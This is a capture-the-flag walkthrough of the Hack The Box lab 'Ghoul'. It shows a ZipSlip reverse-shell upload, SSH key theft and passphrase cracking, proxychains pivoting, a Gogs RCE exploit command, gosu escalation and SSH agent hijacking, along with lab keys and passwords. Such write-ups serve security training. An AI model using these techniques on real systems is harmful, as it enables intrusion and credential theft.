Hackthebox – Ghoul

As with any machine, I start with a number of port scans. However the first scans returned without much result so I added the box name to my /etc/hosts and scanned again, not expecting any different result. Surprisingly, it came back with more results now!

root@kalivm:~/Ghoul# nmap -A -oN fullscan-A ghoul.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-14 10:10 CEST
Nmap scan report for ghoul.htb (10.10.10.101)
Host is up (0.018s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c1:1c:4b:0c:c6:de:ae:99:49:15:9e:f9:bc:80:d2:3f (RSA)
|_  256 a8:21:59:7d:4c:e7:97:ad:78:51:da:e5:f0:f9:ab:7d (ECDSA)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Aogiri Tree
2222/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 63:59:8b:4f:8d:0a:e1:15:44:14:57:27:e7:af:fb:3b (RSA)
|   256 8c:8b:a0:a8:85:10:3d:27:07:51:29:ad:9b:ec:57:e3 (ECDSA)
|_  256 9a:f5:31:4b:80:11:89:26:59:61:95:ff:5c:68:bc:a7 (ED25519)
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Aogiri
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88 - Error report
----snip----
Nmap done: 1 IP address (1 host up) scanned in 21.08 seconds

So we have ports 22 and 2222 serving SSH, and port 80 and 8080 for HTTP, just with different web servers. After some poking around on the website hosted at port 80, I do not see much of interest yet.

A normal web page, containing anime pictures

A secret.php file which contains a fake user flag. Nothing of much interest, so I continue to the page on port 8080 which appears to be password protected.

However if I try one of the most common combinations, we find out quickly that username: admin, and password: admin work!

A’Sierra’ website is displayed which immediately presents upload capabilities. the only question is where these files are uploaded to.

After uploading, a page is displayed that thanks me for uploading, but I still cannot figure out where. After asking around on Discord, I got the tip that I should look for the ZipSlip vulnerability. One google query further, and there was possible way to upload files to a location that is under my control, so I prepared a file with a regular PHP Reverse webshell.

root@kalivm:~/Ghoul# unzip -l sedje.zip 
Archive:  sedje.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     3461  2019-09-14 10:33   ../../../../../../../../../../../../../../../../../../../var/www/html/shell.php
---------                     -------
     3461                     2 files

After a final check to see if the zip file was created with the right file and a lot of ../ calls in it, I uploaded it to the server, called it with the browser and…

root@kalivm:~/Ghoul# nc -nlvp 9999
Listening on [0.0.0.0] (family 2, port 9999)
Listening on 0.0.0.0 9999
Connection received on 10.10.10.101 59220
Linux Aogiri 4.15.0-45-generic #48-Ubuntu SMP Tue Jan 29 16:28:13 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 17:18:43 up 25 min,  0 users,  load average: 0.37, 0.32, 0.42
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

Now I’ve got a shell as www-data! Time to enumerate more to see how I can get the user flag!

$ ls -al /home
total 36
drwxr-xr-x 1 root   root   4096 Dec 13  2018 .
drwxr-xr-x 1 root   root   4096 Dec 13  2018 ..
drwx------ 1 Eto    Eto    4096 Dec 13  2018 Eto
drwx------ 1 kaneki kaneki 4096 Dec 13  2018 kaneki
drwx------ 1 noro   noro   4096 Dec 13  2018 noro

Wait… there are three user directories and none of them are even readable. Time for more enumeration. After a lot of searching, and finding some interesting directories such as

www-data@Aogiri:/$ ls /var/tmp
ls /var/tmp
angecrypt.py  edited_NSA-Report.pdf  f.zip  hunt.zip  k.zip  sedje.zip	txt

/var/tmp which, amongst others, contained the uploaded .zip files and some weird python script and a PDF file. However, upon further inspection, none of them were really interesting. The /var/backups directory on the other hand, contained a subdirectory with some interesting things.

ls /var/backups/backups
Important.pdf  keys  note.txt  sales.xlsx
www-data@Aogiri:/$ cat /var/backups/backups/note.txt
cat /var/backups/backups/note.txt
The files from our remote server Ethereal will be saved here. I'll keep updating it overtime, so keep checking.

Files from a remote server, and a keys directory?

www-data@Aogiri:/$ head /var/backups/backups/keys/*
head /var/backups/backups/keys/*
==> /var/backups/backups/keys/eto.backup < == 
-----BEGIN RSA PRIVATE KEY----- 
MIIEowIBAAKCAQEA8yqBhPGfUAyQ5QudsyRbUBx72RsV4C4vH52Ajgouhr7g1fmT 
bd5KxQsG5J9NhwBMb49SfRl5D22RjcDJWDmDWT6lTk+0USTC/ckDSsZeBVtiF+Ed 
twzzde4v74xeBso5JNOR/j+EF7JN+Cme9Ujk/ijBkydraVflVCgJeo5TCTOWoQwD 
4KwOpNgzi5PqEReHO0YsHNsc9/zzSPxCUfDDCubT/G6ejVD7dgLQizuPeXQRXhl+ 
iNeuBuXLI8cSSseZs4IybL+QS9JeB9Eby6Gw6Fxfvi5t6+fNEenVRbEpZAu0yyfK
LHK3lbOnH2p0MHNBO87OtXYqZeavXHltV1ivyQIDAQABAoIBAQDvVFur9IBfsi5+ 
MOOi6Nqyy4Yd1em+/tXEoSlhI6ZNWttB3uV7Enm23DaJmD0e7W1Ns9t1Yzfitm22 
/hNtsRWVJfJfVFVeM/dy/4As/XaWgS3X4Op1Otr4rFkjxZzZw/lgRJgBjJQ/GnBh 
Gt3n/zna6VQ0uGygfzEolktWA3S4rNGk6DVf0qnYoE86P/ibdGfLtVU6TOpvzW9F
 
==> /var/backups/backups/keys/kaneki.backup < == 
-----BEGIN RSA PRIVATE KEY----- 
Proc-Type: 4,ENCRYPTED 
DEK-Info: AES-128-CBC,9E9E4E88793BC9DB54A767FC0216491F 

wqcYgOwX3V511WRuXWuRheYyzo5DelW+/XsBtXoL8/Ow7/Tj4EC4dKCfas39HQW8 
MNbTv51gYxQ/Vc3W1jEYSyxTCYAu600naUhX3+En7P8kje2s0I4VEZX0MJqgB/pv 
J9nPBtbXcqV6/v6Vkbc5kGtMiRVMYzS9KWiCOafveFQCr1orYmnNINsZou4AWrfB 
Ofr63sUVD8V1Rabnoltbo+pePXnQ6HqjpO1b2qCyUQBxDxwSFT5a+j5YvMYV3JXK 
HOo4D0fcMoBVT46pXga6wZtiB4XgeM/iB/xg6YfdfMPuDBJ6+fqZMjlm+GvEexkl 
EEtJAqoSG/yCOjedByVqmfKye9DaIY9Um2WkWcX1bVRlYktYtpb755aDmVVoQjb5 

==> /var/backups/backups/keys/noro.backup < ==
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAwCHIakNYvrjkOI3JB2zvLHbZLNwpumIInvcqLnBb6h+qwUsa
lnUJ/D3UPx4K1zfkbxA9vGkQtJJMwAi+/YMfURkuP5MamQZT8j/ZruwVpgtSdDSw
AsLNJr4p87aYsVGjY9sOFmgQXtvjKX3kaKPQG5OLAXGQuw3umWZekUaq3bG9ZE2U
ljF8sSDiTGa3Pt3QHOfn2ro0pMnlW7nY0pS394PMYrP7khNzrxoReMqWAxg0kWGy
2PKEnAzVNHkHsRjF2HGNdM+X+vYZ672mfMJL0yl8Kh6DKYLYwc+TcXsJ2OlKoXTJ
9C5BHmXbSulD0R3X0sKMYzoEso2hJoVNNd3fqQIDAQABAoIBAA1TypUkasmABcSu
gR1Uvxp0fAgSlYpqNnLgbjqebKHG5I9X6FY7dB/dIhXmvZXEOMJDfCTPnOsJou1H
Lghjyg5UEtMyHwwyVixdpXnuwmmsK2IILZVjcduYIUzYg6r5IL5SeZ2wRkJuOkms
g+WGR29CQsgs2n8/LifR5Alrv3p1NQfhgqeHGVTTixSyN43wVbvI4mtklgNxJAG7

The keys directory appeared to contain the private keys of the Eto, kaneki and noro users on this box! Lets try each of them to see if I can get a user flag there!

root@kalivm:~/Ghoul# ssh -i eto.key Eto@10.10.10.101
Eto@Aogiri:~$ ls
alert.txt
Eto@Aogiri:~$ cat alert.txt 
Hey Noro be sure to keep checking the humans for IP logs and chase those little shits down!

User Eto, no luck. After spending some additional time, I could not find anything useful to escalate privileges either, so on to the next user for now.

root@kalivm:~/Ghoul# ssh -i kaneki.key kaneki@10.10.10.101
Enter passphrase for key 'kaneki.key':

A pass phrase? Since the entire box is anime themed, my first guess was that a regular wordlist would not suffice, so I decided to use cewl to create a wordlist of all pages and see if that would contain anything useful.

After having used ssh2john before, as written in this article, it was a piece of cake to do this again.

root@kalivm:~/Ghoul# python /usr/share/john/ssh2john.py kaneki.key > kaneki.hash
root@kalivm:~/Ghoul# john --wordlist=./ghoulwl.txt kaneki.hash --format=SSH
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
ILoveTouka       (kaneki.key)
1g 0:00:00:00 DONE (2019-09-17 19:36) 2.777g/s 1036p/s 1036c/s 1036C/s remote..moment
Session completed

So the password is ILoveTouka! Lets try that again on the key and see if I can get access.

root@kalivm:~/Ghoul# ssh -i kaneki.key kaneki@10.10.10.101
Enter passphrase for key 'kaneki.key': 
Last login: Tue Sep 17 17:36:40 2019 from 10.10.15.166
kaneki@Aogiri:~$ ls
note.txt  notes  secret.jpg  user.txt
kaneki@Aogiri:~$ cat user.txt 
7c0f1104<NOFLAG>0a1c35c2

And there is the user flag!

Privilege Escalation

After quite some post-exploitation of the different user accounts, several interesting items were found. These things included a password

kaneki@Aogiri:~$ grep -ir 'password=' / 2> /dev/null
----snip----
/usr/share/tomcat7/conf/tomcat-users.xml:  <!--<user username="admin" password="test@aogiri123" roles="admin" />
----snip----

Some more notes in user Kaneki’s home directory

kaneki@Aogiri:~$ cat notes
I've set up file server into the server's network ,Eto if you need to transfer files to the server can use my pc.
DM me for the access.
kaneki@Aogiri:~$ cat note.txt 
Vulnerability in Gogs was detected. I shutdown the registration function on our server, please ensure that no one gets access to the test accounts.

A reference to a ssh user called kaneki_pub in user Kaneki’s .ssh/authorized_keys file

kaneki@Aogiri:~$ cat .ssh/authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhK6T0d7TXpXNf2anZ/02E0NRVKuSWVslhHaJjUYtdtBVxCJg+wv1oFGPij9hgefdmFIKbvjElSr+rMrQpfCn6v7GmaP2QOjaoGPPX0EUPn9swnReRgi7xSKvHzru/ESc9AVIQIaeTypLNT/FmNuyr8P+gFLIq6tpS5eUjMHFyd68SW2shb7GWDM73tOAbTUZnBv+z1fAXv7yg2BVl6rkknHSmyV0kQJw5nQUTm4eKq2AIYTMB76EcHc01FZo9vsebBnD0EW4lejtSI/SRC+YCqqY+L9TZ4cunyYKNOuAJnDXncvQI8zpE+c50k3UGIatnS5f2MyNVn1l1bYDFQgYl kaneki_pub@kaneki-pc
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsiPbWC8feNW7o6emQUk12tFOcucqoS/nnKN/LM3hCtPN8r4by8Ml1IR5DctjeurAmlJtXcn8MqlHCRbR6hZKydDwDzH3mb6M/gCYm4fD9FppbOdG4xMVGODbTTPV/h2Lh3ITRm+xNHYDmWG84rQe++gJImKoREkzsUNqSvQv4rO1RlO6W3rnz1ySPAjZF5sloJ8Rmnk+MK4skfj00Gb2mM0/RNmLC/rhwoUC+Wh0KPkuErg4YlqD8IB7L3N/UaaPjSPrs2EDeTGTTFI9GdcT6LIaS65CkcexWlboQu3DDOM5lfHghHHbGOWX+bh8VHU9JjvfC8hDN74IvBsy120N5 kaneki@Aogiri

To actually elevate my privileges to root, there was not much more to find on this system. There was only one additional thing that was interesting

kaneki@Aogiri:~$ ifconfig
eth0: flags=4163  mtu 1500
        inet 172.20.0.10  netmask 255.255.0.0  broadcast 172.20.255.255
        ether 02:42:ac:14:00:0a  txqueuelen 0  (Ethernet)
        RX packets 8184  bytes 922145 (922.1 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 7973  bytes 979896 (979.8 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

The IP address is not the 10.10.10.101 address, but a 172.20.0.10 address. So there are at least two other systems, one of them runs Gogs? (Let’s hope it is not Hackthebox – Craft all over again…) and it is reachable through Kaneki’s pc which, apparently is called kaneki-pc and has a user called kaneki_pub.

Time to start doing some reconnaissance on by pivoting around to Aogiri. Knowing that this can be done by using proxychains, still required me to do some research on it since I barely ever use it, but this article was located quickly and a short edit to the proxychains conf was required

root@kalivm:~/Ghoul# cat /etc/proxychains.conf 
# proxychains.conf  VER 3.1
strict_chain
quiet_mode
proxy_dns 
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5	127.0.0.1 9000

A new SSH session was created with dynamic forwarding

root@kalivm:~/Ghoul# ssh -i kaneki.key kaneki@10.10.10.101 -D 9000
Enter passphrase for key 'kaneki.key': 
Last login: Tue Sep 17 17:47:56 2019 from 10.10.15.202
kaneki@Aogiri:~$ 

Now I could use proxychains to start a portscan on the 172.20.0.0/24 range.

root@kalivm:~/Ghoul# proxychains nmap -sP 171.20.0.0/24
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-17 19:53 CEST
Nmap done: 256 IP addresses (0 hosts up) scanned in 251.33 seconds

No hosts up? I must have made a mistake somewhere

root@kalivm:~/Ghoul# proxychains nmap -n -sT -Pn -p 22 172.20.0.0/24 --open
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-17 20:58 CEST
Nmap scan report for 172.20.0.1
Host is up (0.017s latency).

PORT   STATE SERVICE
22/tcp open  ssh
--
Nmap scan report for 172.20.0.10
Host is up (0.017s latency).

PORT   STATE SERVICE
22/tcp open  ssh
--
Nmap scan report for 172.20.0.150
Host is up (0.016s latency).

PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 256 IP addresses (256 hosts up) scanned in 775.63 seconds

So 3 hosts are alive, .1 is most likely the host itself (just like .10) so I start to focus on .150. Let’s first try to log in over ssh.

kaneki@Aogiri:~$ ssh kaneki_pub@172.20.0.150
Enter passphrase for key '/home/kaneki/.ssh/id_rsa': 
Last login: Sun Jan 20 12:43:37 2019 from 172.20.0.10
kaneki_pub@kaneki-pc:~$ 

That simple? Really? Password for the SSH key re-used on this key. Nice and very common in the real world too! But now what. The home directory shows a to-do.txt with additional information.

kaneki_pub@kaneki-pc:~$ ls
to-do.txt
kaneki_pub@kaneki-pc:~$ cat to-do.txt 
Give AogiriTest user access to Eto for git.

So now I have a username for git! But what about the password. Well, what about the git system, where is it located? The note on Aogiri said that it would be accessible through this system.
After some reconnaissance on the box, I looked at the netstat output at just the right moment

kaneki_pub@kaneki-pc:~$ netstat -ano
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer
tcp        0      0 127.0.0.11:36529        0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 172.18.0.200:43896      172.18.0.1:2222         TIME_WAIT   timewait (0.00/0/0)
tcp        0      0 172.20.0.150:22         172.20.0.10:43208       ESTABLISHED keepalive (7087.09/0/0)
tcp        0      0 172.20.0.150:22         172.20.0.10:43200       ESTABLISHED keepalive (6730.84/0/0)
tcp6       0      0 :::22                   :::*                    LISTEN      off (0.00/0/0)
udp        0      0 127.0.0.11:48063        0.0.0.0:*                           off (0.00/0/0)
----snip----

Apparently there is a connectino from 172.18.0.1 through this system on port 2222, but after a few seconds it was gone again. Interesting but not the most useful at this moment. Time for more recon and to chain some more ssh connections together to analyze the 172.18 segment!

Actually, this caused me quite some headache. The moment I changed the /etc/proxychains.conf file while using proxychains, it appeared that the current connections were also affected (i.e. disconnected). So after reading the man pages of proxychains, I found this entry

FILES
       proxychains looks for config file in following order:
        ./proxychains.conf
        $(HOME)/.proxychains/proxychains.conf
        /etc/proxychains.conf
       see more in /etc/proxychains.conf

So I created an additional directory called px and copied the proxychains.conf there and adjusted it for the second connection on port 10000.

root@kalivm:~/px# mkdir px 
root@kalivm:~/Ghoul# cd px/
root@kalivm:~/Ghoul/px# cp /etc/proxychains.conf .
root@kalivm:~/Ghoul/px# sed -i 's/9000/10000/g' proxychains.conf
root@kalivm:~/Ghoul/px# cat proxychains.conf 
# proxychains.conf  VER 3.1
strict_chain
quiet_mode
proxy_dns 
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5	127.0.0.1 10000

Ok, now I am set for using a local proxychains file for the last step.

In terminal 1
root@kalivm:~/Ghoul# ssh -i kaneki.key kaneki@10.10.10.101 -D 9000
Enter passphrase for key 'kaneki.key': 
Last login: Fri Sep 20 04:30:17 2019 from 10.10.12.29
kaneki@Aogiri:~$

In terminal 2 (It appeared that the previously used ssh key for kaneki was the same for kaneki_pub)
root@kalivm:~/Ghoul# proxychains ssh -D 10000 -i kaneki.key kaneki_pub@172.20.0.150
ProxyChains-3.1 (http://proxychains.sf.net)
Enter passphrase for key 'pub_kan.key': 
Last login: Fri Sep 20 04:32:37 2019 from 172.20.0.10
kaneki_pub@kaneki-pc:~$ 

And in terminal 3, in the px directory
root@kalivm:~/Ghoul/px# proxychains nmap -Pn -sT -n -p 22 172.18.0.0/24 --open
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-20 07:17 CEST
Nmap scan report for 172.18.0.1
Host is up (0.017s latency).

PORT   STATE SERVICE
22/tcp open  ssh

Nmap scan report for 172.18.0.2
Host is up (0.015s latency).

PORT   STATE SERVICE
22/tcp open  ssh

Nmap scan report for 172.18.0.200
Host is up (0.017s latency).

PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 256 IP addresses (256 hosts up) scanned in 774.56 seconds

So there is a system live on 172.18.0.2 apparently. It is fairly well known that nmap over proxychains is terribly slow (774 seconds for 256 ports… that is very slow indeed!) So lets see if it also has the default gogs port (3000) open!

root@kalivm:~/px# proxychains nmap -Pn -sT -n -p 3000 172.18.0.2
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-20 07:40 CEST
Nmap scan report for 172.18.0.2
Host is up (0.016s latency).

PORT     STATE SERVICE
3000/tcp open  ppp

Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds

So it is open, time to see if we can get a web connection to that system. First we setup an ssh tunnel using the ‘normal’ proxychains connection. With that connection, we try to forward the local port 3000 to the Gogs machine.

root@kalivm:~/Ghoul# proxychains ssh -i kaneki.key -L 3000:172.18.0.2:3000 kaneki_pub@172.20.0.150
ProxyChains-3.1 (http://proxychains.sf.net)
Enter passphrase for key 'kaneki.key': 
Last login: Fri Sep 20 05:13:21 2019 from 172.20.0.10
kaneki_pub@kaneki-pc:~$ 

And then we open a browser to localhost:3000 and see what happens.

A gogs login page! Now we can take a look at that AogiriTest user and some of the previously found passwords!

After some trial and error, we found that the use AogiriTest could log in with the commented password in the Apache Tomcat config file test@aogiri123. Within Gogs, there was not much of interest to be found. However, there was a note that said there was some kind of vulnerability in Gogs that still should be patched.

One simple google query and we see that there is a gogsownz CVE, which apparently can be used to gain Administrator Rights and RCE! So we clone the repository and start messing around with it.

root@kalivm:~/gogsownz# python3 gogsownz.py -C AogiriTest:test@aogiri123 -n i_like_gogits localhost:3000 --rce 'echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsiPbWC8feNW7o6emQUk12tFOcucqoS/nnKN/LM3hCtPN8r4by8Ml1IR5DctjeurAmlJtXcn8MqlHCRbR6hZKydDwDzH3mb6M/gCYm4fD9FppbOdG4xMVGODbTTPV/h2Lh3ITRm+xNHYDmWG84rQe++gJImKoREkzsUNqSvQv4rO1RlO6W3rnz1ySPAjZF5sloJ8Rmnk+MK4skfj00Gb2mM0/RNmLC/rhwoUC+Wh0KPkuErg4YlqD8IB7L3N/UaaPjSPrs2EDeTGTTFI9GdcT6LIaS65CkcexWlboQu3DDOM5lfHghHHbGOWX+bh8VHU9JjvfC8hDN74IvBsy120N5 kaneki@kaneki-pc" >> /home/git/.ssh/authorized_keys; sleep 5'
[i] Starting Gogsownz on: http://localhost:3000
[i] Gogs Version installed: © 2018 Gogs Version: 0.11.66.0916 
[i] The Server is redirecting on the login page. Probably REQUIRE_SIGNIN_VIEW is enabled so you will need an account.
[i] Exploiting authenticated PrivEsc...
[i] Signed in as kaneki, is admin True
[i] Current session cookie: 'b17ddd74e6001337'
[i] Performed RCE successfully
[i] Done!

After some fiddling, we enter our ssh key into git’s authorized key files and are now able to login.

kaneki_pub@kaneki-pc:~$ ssh git@172.18.0.2
Enter passphrase for key '/home/kaneki_pub/.ssh/id_rsa': 
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See .

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

3713ea5e4353:~$ 

After some standard privilege escalation searches, the analysis of SUID and GUID files became a bit interesting

3713ea5e4353:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chage
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/expiry
/usr/sbin/gosu
/bin/su

The gosu binary was something I had not encountered before and from what I read on their github, TTY-access should not be given as that poses a security risk! Some fiddling and a small nudge later, I got root access and could look in the /root directory…

3713ea5e4353:~$ gosu root /bin/sh
3713ea5e4353:/data/git# cd /root
3713ea5e4353:~# ls
aogiri-app.7z  session.sh
3713ea5e4353:~# cat session.sh 
#!/bin/bash
while true
do
  sleep 300
  rm -rf /data/gogs/data/sessions
  sleep 2
  curl -d 'user_name=kaneki&password=12345ILoveTouka!!!' http://172.18.0.2:3000/user/login
done

Still no flag, just a note containing kaneki’s password and a 7z file. This box is driving me nuts with all its jumps and loops and lack of root.txt flag files!

Nevertheless, now that we got this far, we want to obtain that flag so we transfer the aogiri-app.7z file to our local machine, unpack it and start to analyze it.

root@kalivm:~/Ghoul/aogiri-app# 7z x aogiri-app.7z 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs QEMU Virtual CPU version 2.5+ (663),ASM)

Scanning the drive for archives:
1 file, 117507 bytes (115 KiB)

Extracting archive: aogiri-app.7z
--
Path = aogiri-app.7z
Type = 7z
Physical Size = 117507
Headers Size = 4011
Method = LZMA2:192k
Solid = +
Blocks = 1

Everything is Ok

Folders: 114
Files: 125
Size:       154976
Compressed: 117507
root@kalivm:~/Ghoul/aogiri-app# ls -al
total 52
drwxr-xr-x 5 root root 4096 Dec 29  2018 .
drwxr-xr-x 3 root root 4096 Sep 15 13:23 ..
drwxr-xr-x 8 root root 4096 Sep 15 13:23 .git
-rw-r--r-- 1 root root  268 Dec 29  2018 .gitignore
drwxr-xr-x 3 root root 4096 Dec 29  2018 .mvn
-rwxr-xr-x 1 root root 9113 Dec 29  2018 mvnw
-rw-r--r-- 1 root root 5810 Dec 29  2018 mvnw.cmd
-rw-r--r-- 1 root root 2111 Dec 29  2018 pom.xml
-rw-r--r-- 1 root root  124 Dec 29  2018 README.md
drwxr-xr-x 4 root root 4096 Dec 29  2018 src

So I have now determined that I am in a directory that contained a full git repository of the Aogiri Chat App. After inspecting the entire structure, checking the git logs, findings some seemingly useless mysql username and password combinations, I got stuck again and asked for yet another nudge. This was the suggestion to use the git show ORIG_HEAD command. I had never heard of that command before so I blindly tried it, checking to see what it provided.

root@kalivm:~/aogiri-app# git show ORIG_HEAD
commit 0d426b533d4f1877f8a114620be8a1294f34ab71
Author: kaneki 
Date:   Sat Dec 29 11:44:50 2018 +0530

    update dependencies

diff --git a/pom.xml b/pom.xml
index 92f24ee..fc1d313 100644
--- a/pom.xml
+++ b/pom.xml
@@ -48,6 +48,11 @@
                        javax.json
                        1.0
                
+               
+                       mysql
+                       mysql-connector-java
+                       5.1.46
+               
 
        
 
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
index 4cbc10b..41adeb0 100644
--- a/src/main/resources/application.properties
+++ b/src/main/resources/application.properties
@@ -1,7 +1,7 @@
 server.port=8080
 spring.datasource.url=jdbc:mysql://localhost:3306/db
-spring.datasource.username=kaneki
-spring.datasource.password=7^Grc%C\7xEQ?tb4
+spring.datasource.username=root
+spring.datasource.password=g_xEN$ZuWD7hJf2G
 server.address=0.0.0.0
 
 spring.jpa.properties.hibernate.dialect = org.hibernate.dialect.MySQL5InnoDBDialect

More MySQL passwords that I had not yet seen before. After trying these passwords, I found that it was possible to become root on the kaneki-pc system but still can not find a flag.

kaneki_pub@kaneki-pc:~$ su -
Password: 
su: Authentication failure
kaneki_pub@kaneki-pc:~$ su -
Password: 
root@kaneki-pc:~# ls
root.txt
root@kaneki-pc:~# cat root.txt 
You've done well to come upto here human. But what you seek doesn't lie here. The journey isn't over yet.....

However, the hint says we are close. Remembering the previous short incoming ssh connection, and knowing that I am root now, should give an idea of the right direction. Apparently this box was so confusing that I forgot all about that SSH connection, however a quick nudge put me back on the right tracks. SSH Session Hijacking! So checking on the incoming connections, seeing the ssh directory being created in /tmp, allows for SSH Hijacking. Since the session was live for only 30 seconds each time, it was a bit of a quick monitor and take action scenario. So in one terminal I opened a command checking for connections using the command watch -n1 ps aux and in the other terminal I waited for the connection to come by

Every 1.0s: ps aux                                      kaneki-pc: Sun Sep 15 07:24:36 2019

USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          1  0.0  0.4  54464 19816 pts/0    Ss+  04:04   0:03 /usr/bin/python /usr/bin/supervisord -c /etc/supervisor/conf.d/su
root         10  0.0  0.1  72296  6184 pts/0    S    04:04   0:00 /usr/sbin/sshd -D
root        308  0.0  0.1  74660  6764 ?        Ss   07:17   0:00 sshd: kaneki_pub [priv]
kaneki_+    310  0.0  0.0  74660  3408 ?        R    07:17   0:00 sshd: kaneki_pub@pts/1
kaneki_+    311  0.0  0.0  20256  3776 pts/1    Ss   07:17   0:00 -bash
root        321  0.0  0.0  57700  3676 pts/1    S    07:17   0:00 su -
root        322  0.0  0.0  18508  3492 pts/1    S    07:17   0:00 -su
root        516  0.0  0.1  74660  6624 ?        Ss   07:24   0:00 sshd: kaneki_adm [priv]
kaneki_+    521  0.0  0.0  74660  3260 ?        S    07:24   0:00 sshd: kaneki_adm@pts/2
kaneki_+    522  0.1  0.1  45188  5712 pts/2    Ss+  07:24   0:00 ssh root@172.18.0.1 -p 2222 -t ./log.sh
root        556  0.0  0.0  34400  2800 pts/1    R+   07:24   0:00 ps aux
root@kaneki-pc:~# SSH_AUTH_SOCK=/tmp/ssh-PU27LyO3un/agent.4455 ssh root@172.18.0.1 -p 2222
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

155 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sun Sep 15 06:54:02 2019 from 172.18.0.200
root@Aogiri:~# ls
log.sh  root.txt
root@Aogiri:~# cat root.txt 
7c0f110<NOFLAG>77539e72f

Finally the root flag! Obtaining this flag would not have been possible without the help of some people on Discord for which I am very greatfull. I learned quite a lot of things on this box and it is most certainly a great addition to my OSCP toolbelt and credo of ‘TryHarder!’.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.